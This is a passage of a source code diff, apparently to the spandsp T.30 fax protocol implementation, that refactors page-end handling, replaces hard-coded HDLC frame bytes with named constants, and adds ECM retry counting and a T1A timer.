+    s->retries = 0;
+    if (t4_tx_end_page(&(s->t4)) == 0)
+    {
+        s->ecm_tx_page++;
+        s->ecm_block = 0;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int rx_start_page(t30_state_t *s)
 {
     int i;
@@ -398,14 +458,25 @@
     /* Clear the buffer */
     for (i = 0;  i < 256;  i++)
         s->ecm_len[i] = -1;
-    s->ecm_rx_page++;
     s->ecm_block = 0;
     s->ecm_frames = -1;
     s->ecm_frames_this_tx_burst = 0;
+    s->error_correcting_mode_retries = 0;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
+static int rx_end_page(t30_state_t *s)
+{
+    if (t4_rx_end_page(&(s->t4)) == 0)
+    {
+        s->ecm_rx_page++;
+        s->ecm_block = 0;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int copy_quality(t30_state_t *s)
 {
     t4_stats_t stats;
@@ -425,7 +496,9 @@
     span_log(&s->logging, SPAN_LOG_FLOW, "Image resolution = %d/m x %d/m\n", stats.x_resolution, stats.y_resolution);
     span_log(&s->logging, SPAN_LOG_FLOW, "Bad rows = %d\n", stats.bad_rows);
     span_log(&s->logging, SPAN_LOG_FLOW, "Longest bad row run = %d\n", stats.longest_bad_row_run);
-    if (stats.bad_rows == 0)
+    /* Don't treat a page as perfect because it has zero bad rows out of zero total rows. A zero row
+       page has got to be some kind of total page failure. */
+    if (stats.bad_rows == 0  &&  stats.length != 0)
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Page quality is perfect\n");
         quality = T30_COPY_QUALITY_PERFECT;
@@ -541,12 +614,23 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int check_next_tx_step(t30_state_t *s)
+static uint8_t check_next_tx_step(t30_state_t *s)
 {
+    int res;
     int more;
 
-    if (t4_tx_more_pages(&(s->t4)) == 0)
+    res = t4_tx_next_page_has_different_format(&(s->t4));
+    if (res == 0)
+    {
+        span_log(&s->logging, SPAN_LOG_FLOW, "More pages to come with the same format\n");
         return (s->local_interrupt_pending)  ?  T30_PRI_MPS  :  T30_MPS;
+    }
+    if (res > 0)
+    {
+        span_log(&s->logging, SPAN_LOG_FLOW, "More pages to come with a different format\n");
+        s->tx_start_page = t4_tx_get_current_page_in_file(&(s->t4)) + 1;
+        return (s->local_interrupt_pending)  ?  T30_PRI_EOM  :  T30_EOM;
+    }
     /* Call a user handler, if one is set, to check if another document is to be sent.
        If so, we send an EOM, rather than an EOP. Then we will renegotiate, and the new
        document will begin. */
@@ -581,8 +665,8 @@
     for (i = 0;  i < 256;  i++)
     {
         s->ecm_len[i] = -1;
-        s->ecm_data[i][0] = 0xFF;
-        s->ecm_data[i][1] = 0x03;
+        s->ecm_data[i][0] = ADDRESS_FIELD;
+        s->ecm_data[i][1] = CONTROL_FIELD_NON_FINAL_FRAME;
         s->ecm_data[i][2] = T4_FCD;
         /* These frames contain a frame sequence number within the partial page (one octet) followed
            by some image data. */
@@ -601,7 +685,7 @@
             s->ecm_at_page_end = TRUE;
             return i;
         }
-        s->ecm_len[i] = (int16_t) 4 + len;
+        s->ecm_len[i] = (int16_t) (4 + len);
     }
     /* We filled the entire buffer */
     s->ecm_frames = 256;
@@ -670,8 +754,8 @@
         /* The RCP frame is an odd man out, as its a simple 1 byte control
            frame, but is specified to not have the final bit set. It doesn't
            seem to have the DIS received bit set, either. */
-        frame[0] = 0xFF;
-        frame[1] = 0x03;
+        frame[0] = ADDRESS_FIELD;
+        frame[1] = CONTROL_FIELD_NON_FINAL_FRAME;
         frame[2] = T4_RCP;
         send_frame(s, frame, 3);
         /* In case we are just after a CTC/CTR exchange, which kicked us back to long training */
@@ -727,8 +811,8 @@
     uint8_t frame[3];
 
     /* The simple command/response frames are always final frames */
-    frame[0] = 0xFF;
-    frame[1] = 0x13;
+    frame[0] = ADDRESS_FIELD;
+    frame[1] = CONTROL_FIELD_FINAL_FRAME;
     frame[2] = (uint8_t) (type | s->dis_received);
     send_frame(s, frame, 3);
 }
@@ -742,8 +826,8 @@
 
     len = strlen(msg);
     p = 0;
-    frame[p++] = 0xFF;
-    frame[p++] = 0x03;
+    frame[p++] = ADDRESS_FIELD;
+    frame[p++] = CONTROL_FIELD_NON_FINAL_FRAME;
     frame[p++] = (uint8_t) (cmd | s->dis_received);
     while (len > 0)
         frame[p++] = msg[--len];
@@ -759,8 +843,8 @@
     if (s->tx_info.nsf  &&  s->tx_info.nsf_len)
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Sending user supplied NSF - %d octets\n", s->tx_info.nsf_len);
-        s->tx_info.nsf[0] = 0xFF;
-        s->tx_info.nsf[1] = 0x03;
+        s->tx_info.nsf[0] = ADDRESS_FIELD;
+        s->tx_info.nsf[1] = CONTROL_FIELD_NON_FINAL_FRAME;
         s->tx_info.nsf[2] = (uint8_t) (T30_NSF | s->dis_received);
         send_frame(s, s->tx_info.nsf, s->tx_info.nsf_len + 3);
         return TRUE;
@@ -775,8 +859,8 @@
     if (s->tx_info.nss  &&  s->tx_info.nss_len)
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Sending user supplied NSS - %d octets\n", s->tx_info.nss_len);
-        s->tx_info.nss[0] = 0xFF;
-        s->tx_info.nss[1] = 0x03;
+        s->tx_info.nss[0] = ADDRESS_FIELD;
+        s->tx_info.nss[1] = CONTROL_FIELD_NON_FINAL_FRAME;
         s->tx_info.nss[2] = (uint8_t) (T30_NSS | s->dis_received);
         send_frame(s, s->tx_info.nss, s->tx_info.nss_len + 3);
         return TRUE;
@@ -791,8 +875,8 @@
     if (s->tx_info.nsc  &&  s->tx_info.nsc_len)
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Sending user supplied NSC - %d octets\n", s->tx_info.nsc_len);
-        s->tx_info.nsc[0] = 0xFF;
-        s->tx_info.nsc[1] = 0x03;
+        s->tx_info.nsc[0] = ADDRESS_FIELD;
+        s->tx_info.nsc[1] = CONTROL_FIELD_NON_FINAL_FRAME;
         s->tx_info.nsc[2] = (uint8_t) (T30_NSC | s->dis_received);
         send_frame(s, s->tx_info.nsc, s->tx_info.nsc_len + 3);
         return TRUE;
@@ -954,8 +1038,8 @@
 {
     uint8_t frame[7];
     
-    frame[0] = 0xFF;
-    frame[1] = 0x13;
+    frame[0] = ADDRESS_FIELD;
+    frame[1] = CONTROL_FIELD_FINAL_FRAME;
     frame[2] = (uint8_t) (T30_PPS | s->dis_received);
     frame[3] = (s->ecm_at_page_end)  ?  ((uint8_t) (s->next_tx_step | s->dis_received))  :  T30_NULL;
     frame[4] = (uint8_t) (s->ecm_tx_page & 0xFF);
@@ -995,8 +1079,8 @@
        it is sent. It might also be edited if the application changes our
        capabilities (e.g. disabling fine mode). Right now we set up all the
        unchanging stuff about what we are capable of doing. */
-    s->local_dis_dtc_frame[0] = 0xFF;
-    s->local_dis_dtc_frame[1] = 0x13;
+    s->local_dis_dtc_frame[0] = ADDRESS_FIELD;
+    s->local_dis_dtc_frame[1] = CONTROL_FIELD_FINAL_FRAME;
     s->local_dis_dtc_frame[2] = (uint8_t) (T30_DIS | s->dis_received);
     for (i = 3;  i < 19;  i++)
         s->local_dis_dtc_frame[i] = 0x00;
@@ -1179,8 +1263,8 @@
     
     /* Make a DCS frame based on local issues and the latest received DIS/DTC frame. Negotiate
        the result based on what both parties can do. */
-    s->dcs_frame[0] = 0xFF;
-    s->dcs_frame[1] = 0x13;
+    s->dcs_frame[0] = ADDRESS_FIELD;
+    s->dcs_frame[1] = CONTROL_FIELD_FINAL_FRAME;
     s->dcs_frame[2] = (uint8_t) (T30_DCS | s->dis_received);
     for (i = 3;  i < 19;  i++)
         s->dcs_frame[i] = 0x00;
@@ -1529,6 +1613,7 @@
 static void return_to_phase_b(t30_state_t *s, int with_fallback)
 {
     /* This is what we do after things like T30_EOM is exchanged. */
+#if 0
     if (step_fallback_entry(s) < 0)
     {
         /* We have fallen back as far as we can go. Give up. */
@@ -1543,6 +1628,12 @@
         else
             set_state(s, T30_STATE_R);
     }
+#else
+    if (s->calling_party)
+        set_state(s, T30_STATE_T);
+    else
+        set_state(s, T30_STATE_R);
+#endif
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -1723,10 +1814,10 @@
     switch (s->operation_in_progress)
     {
     case OPERATION_IN_PROGRESS_T4_TX:
-        t4_tx_end(&(s->t4));
+        t4_tx_release(&(s->t4));
         break;
     case OPERATION_IN_PROGRESS_T4_RX:
-        t4_rx_end(&(s->t4));
+        t4_rx_release(&(s->t4));
         break;
     }
     s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
@@ -1821,7 +1912,7 @@
        must be evaluated before the minimum scan row bits can be evaluated. */
     if ((min_row_bits = set_min_scan_time_code(s)) < 0)
     {
-        t4_tx_end(&(s->t4));
+        t4_tx_release(&(s->t4));
         s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
         return -1;
     }
@@ -1981,7 +2072,7 @@
     }
     if (s->phase_b_handler)
     {
-        new_status = s->phase_b_handler(s, s->phase_d_user_data, msg[2]);
+        new_status = s->phase_b_handler(s, s->phase_b_user_data, msg[2]);
         if (new_status != T30_ERR_OK)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Application rejected DIS/DTC - '%s'\n", t30_completion_code_to_str(new_status));
@@ -2156,7 +2247,7 @@
 
     if (s->phase_b_handler)
     {
-        new_status = s->phase_b_handler(s, s->phase_d_user_data, msg[2]);
+        new_status = s->phase_b_handler(s, s->phase_b_user_data, msg[2]);
         if (new_status != T30_ERR_OK)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Application rejected DCS - '%s'\n", t30_completion_code_to_str(new_status));
@@ -2217,7 +2308,7 @@
         default:
             /* We can confirm the whole page. */
             s->next_rx_step = s->last_pps_fcf2;
-            t4_rx_end_page(&(s->t4));
+            rx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, s->last_pps_fcf2);
             rx_start_page(s);
@@ -2230,8 +2321,8 @@
     {
         /* We need to send the PPR frame we have created, to try to fill in the missing/bad data. */
         set_state(s, T30_STATE_F_POST_RCP_PPR);
-        s->ecm_frame_map[0] = 0xFF;
-        s->ecm_frame_map[1] = 0x13;
+        s->ecm_frame_map[0] = ADDRESS_FIELD;
+        s->ecm_frame_map[1] = CONTROL_FIELD_FINAL_FRAME;
         s->ecm_frame_map[2] = (uint8_t) (T30_PPR | s->dis_received);
         send_frame(s, s->ecm_frame_map, 3 + 32);
     }
@@ -2290,20 +2381,21 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "ECM rx block mismatch - expected %d, but received %d.\n", s->ecm_block, block);
     }
     /* Build a bit map of which frames we now have stored OK */
-    frame_no = 0;
     s->ecm_first_bad_frame = 256;
-    for (i = 3;  i < 3 + 32;  i++)
+    for (i = 0;  i < 32;  i++)
     {
-        s->ecm_frame_map[i] = 0;
+        s->ecm_frame_map[i + 3] = 0;
         for (j = 0;  j < 8;  j++)
         {
+            frame_no = (i << 3) + j;
             if (s->ecm_len[frame_no] < 0)
-            {   
-                s->ecm_frame_map[i] |= (1 << j);
+            {
+                s->ecm_frame_map[i + 3] |= (1 << j);
                 if (frame_no < s->ecm_first_bad_frame)
                     s->ecm_first_bad_frame = frame_no;
+                if (frame_no < s->ecm_frames)
+                    s->error_correcting_mode_retries++;
             }
-            frame_no++;
         }
     }
     /* Are there any bad frames, or does our scan represent things being OK? */
@@ -2366,7 +2458,10 @@
             else
             {
                 if (frame_no < s->ecm_frames)
+                {
                     span_log(&s->logging, SPAN_LOG_FLOW, "Frame %d to be resent\n", frame_no);
+                    s->error_correcting_mode_retries++;
+                }
 #if 0
                 /* Diagnostic: See if the other end is complaining about something we didn't even send this time. */
                 if (s->ecm_len[frame_no] < 0)
@@ -2391,8 +2486,8 @@
         {
             set_state(s, T30_STATE_IV_EOR);
             queue_phase(s, T30_PHASE_D_TX);
-            frame[0] = 0xFF;
-            frame[1] = 0x13;
+            frame[0] = ADDRESS_FIELD;
+            frame[1] = CONTROL_FIELD_FINAL_FRAME;
             frame[2] = (uint8_t) (T30_EOR | s->dis_received);
             frame[3] = (s->ecm_at_page_end)  ?  ((uint8_t) (s->next_tx_step | s->dis_received))  :  T30_NULL;
             span_log(&s->logging, SPAN_LOG_FLOW, "Sending EOR + %s\n", t30_frametype(frame[3]));
@@ -2431,6 +2526,9 @@
         {
             unexpected_frame_length(s, msg, len);
         }
+        /* We have received something, so any missing carrier status is out of date */
+        if (s->current_status == T30_ERR_RX_NOCARRIER)
+            s->current_status = T30_ERR_OK;
         break;
     default:
         unexpected_non_final_frame(s, msg, len);
@@ -2441,16 +2539,21 @@
 
 static void process_rx_rcp(t30_state_t *s, const uint8_t *msg, int len)
 {
-    /* Return to control for partial page. These might come through with or without the final frame tag,
-       so we have this routine to deal with the "no final frame tag" case. */
+    /* Return to control for partial page. These might come through with or without the final frame tag.
+       Here we deal with the "no final frame tag" case. */
     switch (s->state)
     {
     case T30_STATE_F_DOC_ECM:
         set_state(s, T30_STATE_F_POST_DOC_ECM);
         queue_phase(s, T30_PHASE_D_RX);
+        timer_t2_start(s);
+        /* We have received something, so any missing carrier status is out of date */
+        if (s->current_status == T30_ERR_RX_NOCARRIER)
+            s->current_status = T30_ERR_OK;
         break;
     case T30_STATE_F_POST_DOC_ECM:
-        /* Just ignore this */
+        /* Just ignore this. It must be an extra RCP. Several are usually sent, to maximise the chance
+           of receiving a correct one. */
         break;
     default:
         unexpected_non_final_frame(s, msg, len);
@@ -2697,7 +2800,7 @@
         break;
     case T30_DIS:
         /* It appears they didn't see what we sent - retry the TCF */
-        if (++s->retries >= MAX_MESSAGE_TRIES)
+        if (++s->retries >= MAX_COMMAND_TRIES)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Too many retries. Giving up.\n");
             s->current_status = T30_ERR_RETRYDCN;
@@ -2751,6 +2854,10 @@
     /* We're waiting for a response to the CFR we sent */
     switch (msg[2] & 0xFE)
     {
+    case T30_DCS:
+        /* If we received another DCS, they must have missed our CFR */
+        process_rx_dcs(s, msg, len);
+        break;
     case T30_CRP:
         repeat_last_command(s);
         break;
@@ -2892,13 +2999,13 @@
         {
         case T30_COPY_QUALITY_PERFECT:
         case T30_COPY_QUALITY_GOOD:
-            t4_rx_end_page(&(s->t4));
+            rx_end_page(s);
             rx_start_page(s);
             set_state(s, T30_STATE_III_Q_MCF);
             send_simple_frame(s, T30_MCF);
             break;
         case T30_COPY_QUALITY_POOR:
-            t4_rx_end_page(&(s->t4));
+            rx_end_page(s);
             rx_start_page(s);
             set_state(s, T30_STATE_III_Q_RTP);
             send_simple_frame(s, T30_RTP);
@@ -2921,15 +3028,15 @@
         {
         case T30_COPY_QUALITY_PERFECT:
         case T30_COPY_QUALITY_GOOD:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_MCF);
             break;
         case T30_COPY_QUALITY_POOR:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_RTP);
@@ -2950,13 +3057,13 @@
         {
         case T30_COPY_QUALITY_PERFECT:
         case T30_COPY_QUALITY_GOOD:
-            t4_rx_end_page(&(s->t4));
+            rx_end_page(s);
             rx_start_page(s);
             set_state(s, T30_STATE_III_Q_MCF);
             send_simple_frame(s, T30_MCF);
             break;
         case T30_COPY_QUALITY_POOR:
-            t4_rx_end_page(&(s->t4));
+            rx_end_page(s);
             rx_start_page(s);
             set_state(s, T30_STATE_III_Q_RTP);
             send_simple_frame(s, T30_RTP);
@@ -2979,15 +3086,15 @@
         {
         case T30_COPY_QUALITY_PERFECT:
         case T30_COPY_QUALITY_GOOD:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_MCF);
             break;
         case T30_COPY_QUALITY_POOR:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_RTP);
@@ -3006,16 +3113,16 @@
         {
         case T30_COPY_QUALITY_PERFECT:
         case T30_COPY_QUALITY_GOOD:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_MCF);
             send_simple_frame(s, T30_MCF);
             break;
         case T30_COPY_QUALITY_POOR:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_RTP);
@@ -3038,15 +3145,15 @@
         {
         case T30_COPY_QUALITY_PERFECT:
         case T30_COPY_QUALITY_GOOD:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_MCF);
             break;
         case T30_COPY_QUALITY_POOR:
-            t4_rx_end_page(&(s->t4));
-            t4_rx_end(&(s->t4));
+            rx_end_page(s);
+            t4_rx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             s->in_message = FALSE;
             set_state(s, T30_STATE_III_Q_RTP);
@@ -3074,9 +3181,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static void process_state_f_doc_ecm(t30_state_t *s, const uint8_t *msg, int len)
+static void process_state_f_doc_and_post_doc_ecm(t30_state_t *s, const uint8_t *msg, int len)
 {
-    int fcf2;
+    uint8_t fcf2;
     
     /* This actually handles 2 states - _DOC_ECM and _POST_DOC_ECM - as they are very similar */
     switch (msg[2] & 0xFE)
@@ -3088,16 +3195,22 @@
         process_rx_dcs(s, msg, len);
         break;
     case T4_RCP:
+        /* Return to control for partial page. These might come through with or without the final frame tag.
+           Here we deal with the "final frame tag" case. */
         if (s->state == T30_STATE_F_DOC_ECM)
         {
             /* Return to control for partial page */
+            set_state(s, T30_STATE_F_POST_DOC_ECM);
             queue_phase(s, T30_PHASE_D_RX);
-            set_state(s, T30_STATE_F_POST_DOC_ECM);
+            timer_t2_start(s);
+            /* We have received something, so any missing carrier status is out of date */
+            if (s->current_status == T30_ERR_RX_NOCARRIER)
+                s->current_status = T30_ERR_OK;
         }
         else
         {
-            /* Ignore extra RCP frames. The source will usually send several to maximise the chance of
-               one getting through OK. */
+            /* Just ignore this. It must be an extra RCP. Several are usually sent, to maximise the chance
+               of receiving a correct one. */
         }
         break;
     case T30_EOR:
@@ -3332,8 +3445,7 @@
         {
         case T30_MPS:
         case T30_PRI_MPS:
-            s->retries = 0;
-            t4_tx_end_page(&(s->t4));
+            tx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
             if (tx_start_page(s))
@@ -3347,11 +3459,10 @@
         case T30_EOM:
         case T30_PRI_EOM:
         case T30_EOS:
-            s->retries = 0;
-            t4_tx_end_page(&(s->t4));
+            tx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-            t4_tx_end(&(s->t4));
+            t4_tx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             if (span_log_test(&s->logging, SPAN_LOG_FLOW))
             {
@@ -3362,11 +3473,10 @@
             break;
         case T30_EOP:
         case T30_PRI_EOP:
-            s->retries = 0;
-            t4_tx_end_page(&(s->t4));
+            tx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-            t4_tx_end(&(s->t4));
+            t4_tx_release(&(s->t4));
             s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
             send_dcn(s);
             if (span_log_test(&s->logging, SPAN_LOG_FLOW))
@@ -3382,8 +3492,7 @@
         {
         case T30_MPS:
         case T30_PRI_MPS:
-            s->retries = 0;
-            t4_tx_end_page(&(s->t4));
+            tx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, T30_RTP);
             if (tx_start_page(s))
@@ -3406,21 +3515,19 @@
         case T30_EOM:
         case T30_PRI_EOM:
         case T30_EOS:
-            s->retries = 0;
-            t4_tx_end_page(&(s->t4));
+            tx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, T30_RTP);
-            t4_tx_end(&(s->t4));
+            t4_tx_release(&(s->t4));
             /* TODO: should go back to T, and resend */
             return_to_phase_b(s, TRUE);
             break;
         case T30_EOP:
         case T30_PRI_EOP:
-            s->retries = 0;
-            t4_tx_end_page(&(s->t4));
+            tx_end_page(s);
             if (s->phase_d_handler)
                 s->phase_d_handler(s, s->phase_d_user_data, T30_RTP);
-            t4_tx_end(&(s->t4));
+            t4_tx_release(&(s->t4));
             s->current_status = T30_ERR_TX_INVALRSP;
             send_dcn(s);
             break;
@@ -3643,7 +3750,7 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "Is there more to send? - %d %d\n", s->ecm_frames, s->ecm_len[255]);
         if (!s->ecm_at_page_end  &&  get_partial_ecm_page(s) > 0)
         {
-            span_log(&s->logging, SPAN_LOG_WARNING, "Additional image data to send\n");
+            span_log(&s->logging, SPAN_LOG_FLOW, "Additional image data to send\n");
             s->ecm_block++;
             set_state(s, T30_STATE_IV);
             queue_phase(s, T30_PHASE_C_ECM_TX);
@@ -3656,8 +3763,7 @@
             {
             case T30_MPS:
             case T30_PRI_MPS:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
                 if (tx_start_page(s))
@@ -3675,11 +3781,10 @@
             case T30_EOM:
             case T30_PRI_EOM:
             case T30_EOS:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-                t4_tx_end(&(s->t4));
+                t4_tx_release(&(s->t4));
                 s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
                 if (span_log_test(&s->logging, SPAN_LOG_FLOW))
                 {
@@ -3690,11 +3795,10 @@
                 break;
             case T30_EOP:
             case T30_PRI_EOP:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-                t4_tx_end(&(s->t4));
+                t4_tx_release(&(s->t4));
                 s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
                 send_dcn(s);
                 if (span_log_test(&s->logging, SPAN_LOG_FLOW))
@@ -3748,7 +3852,7 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "Is there more to send? - %d %d\n", s->ecm_frames, s->ecm_len[255]);
         if (!s->ecm_at_page_end  &&  get_partial_ecm_page(s) > 0)
         {
-            span_log(&s->logging, SPAN_LOG_WARNING, "Additional image data to send\n");
+            span_log(&s->logging, SPAN_LOG_FLOW, "Additional image data to send\n");
             s->ecm_block++;
             set_state(s, T30_STATE_IV);
             queue_phase(s, T30_PHASE_C_ECM_TX);
@@ -3761,8 +3865,7 @@
             {
             case T30_MPS:
             case T30_PRI_MPS:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
                 if (tx_start_page(s))
@@ -3780,11 +3883,10 @@
             case T30_EOM:
             case T30_PRI_EOM:
             case T30_EOS:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-                t4_tx_end(&(s->t4));
+                t4_tx_release(&(s->t4));
                 s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
                 if (span_log_test(&s->logging, SPAN_LOG_FLOW))
                 {
@@ -3795,11 +3897,10 @@
                 break;
             case T30_EOP:
             case T30_PRI_EOP:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-                t4_tx_end(&(s->t4));
+                t4_tx_release(&(s->t4));
                 s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
                 send_dcn(s);
                 if (span_log_test(&s->logging, SPAN_LOG_FLOW))
@@ -3869,7 +3970,7 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "Is there more to send? - %d %d\n", s->ecm_frames, s->ecm_len[255]);
         if (!s->ecm_at_page_end  &&  get_partial_ecm_page(s) > 0)
         {
-            span_log(&s->logging, SPAN_LOG_WARNING, "Additional image data to send\n");
+            span_log(&s->logging, SPAN_LOG_FLOW, "Additional image data to send\n");
             s->ecm_block++;
             set_state(s, T30_STATE_IV);
             queue_phase(s, T30_PHASE_C_ECM_TX);
@@ -3882,8 +3983,7 @@
             {
             case T30_MPS:
             case T30_PRI_MPS:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
                 if (tx_start_page(s))
@@ -3901,11 +4001,10 @@
             case T30_EOM:
             case T30_PRI_EOM:
             case T30_EOS:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-                t4_tx_end(&(s->t4));
+                t4_tx_release(&(s->t4));
                 s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
                 if (span_log_test(&s->logging, SPAN_LOG_FLOW))
                 {
@@ -3916,11 +4015,10 @@
                 break;
             case T30_EOP:
             case T30_PRI_EOP:
-                s->retries = 0;
-                t4_tx_end_page(&(s->t4));
+                tx_end_page(s);
                 if (s->phase_d_handler)
                     s->phase_d_handler(s, s->phase_d_user_data, T30_MCF);
-                t4_tx_end(&(s->t4));
+                t4_tx_release(&(s->t4));
                 s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
                 send_dcn(s);
                 if (span_log_test(&s->logging, SPAN_LOG_FLOW))
@@ -4105,6 +4203,7 @@
             /* Restart the command or response timer, T2 or T4 */
             switch (s->timer_t2_t4_is)
             {
+            case TIMER_IS_T1A:
             case TIMER_IS_T2:
             case TIMER_IS_T2A:
             case TIMER_IS_T2B:
@@ -4297,7 +4396,7 @@
             break;
         case T30_STATE_F_DOC_ECM:
         case T30_STATE_F_POST_DOC_ECM:
-            process_state_f_doc_ecm(s, msg, len);
+            process_state_f_doc_and_post_doc_ecm(s, msg, len);
             break;
         case T30_STATE_F_POST_RCP_MCF:
             process_state_f_post_rcp_mcf(s, msg, len);
@@ -4503,7 +4602,7 @@
 static void repeat_last_command(t30_state_t *s)
 {
     s->step = 0;
-    if (++s->retries >= MAX_MESSAGE_TRIES)
+    if (++s->retries >= MAX_COMMAND_TRIES)
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Too many retries. Giving up.\n");
         switch (s->state)
@@ -4602,9 +4701,21 @@
 
 static void timer_t2a_start(t30_state_t *s)
 {
-    span_log(&s->logging, SPAN_LOG_FLOW, "Start T2A\n");
-    s->timer_t2_t4 = ms_to_samples(DEFAULT_TIMER_T2A);
-    s->timer_t2_t4_is = TIMER_IS_T2A;
+    /* T.30 Annex A says timeout T1 should be used in ECM phase C to time out the
+       first frame after the flags start. This seems a strange reuse of the name T1
+       for a different purpose, but there it is. We distinguish it by calling it T1A. */
+    if (s->phase == T30_PHASE_C_ECM_RX)
+    {
+        span_log(&s->logging, SPAN_LOG_FLOW, "Start T1A\n");
+        s->timer_t2_t4 = ms_to_samples(DEFAULT_TIMER_T1A);
+        s->timer_t2_t4_is = TIMER_IS_T1A;
+    }
+    else
+    {
+        span_log(&s->logging, SPAN_LOG_FLOW, "Start T2A\n");
+        s->timer_t2_t4 = ms_to_samples(DEFAULT_TIMER_T2A);
+        s->timer_t2_t4_is = TIMER_IS_T2A;
+    }
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -4640,6 +4751,52 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void timer_t2_t4_stop(t30_state_t *s)
+{
+    const char *tag;
+    
+    switch (s->timer_t2_t4_is)
+    {
+    case TIMER_IS_IDLE:
+        tag = "none";
+        break;
+    case TIMER_IS_T1A:
+        tag = "T1A";
+        break;
+    case TIMER_IS_T2:
+        tag = "T2";
+        break;
+    case TIMER_IS_T2A:
+        tag = "T2A";
+        break;
+    case TIMER_IS_T2B:
+        tag = "T2B";
+        break;
+    case TIMER_IS_T2C:
+        tag = "T2C";
+        break;
+    case TIMER_IS_T4:
+        tag = "T4";
+        break;
+    case TIMER_IS_T4A:
+        tag = "T4A";
+        break;
+    case TIMER_IS_T4B:
+        tag = "T4B";
+        break;
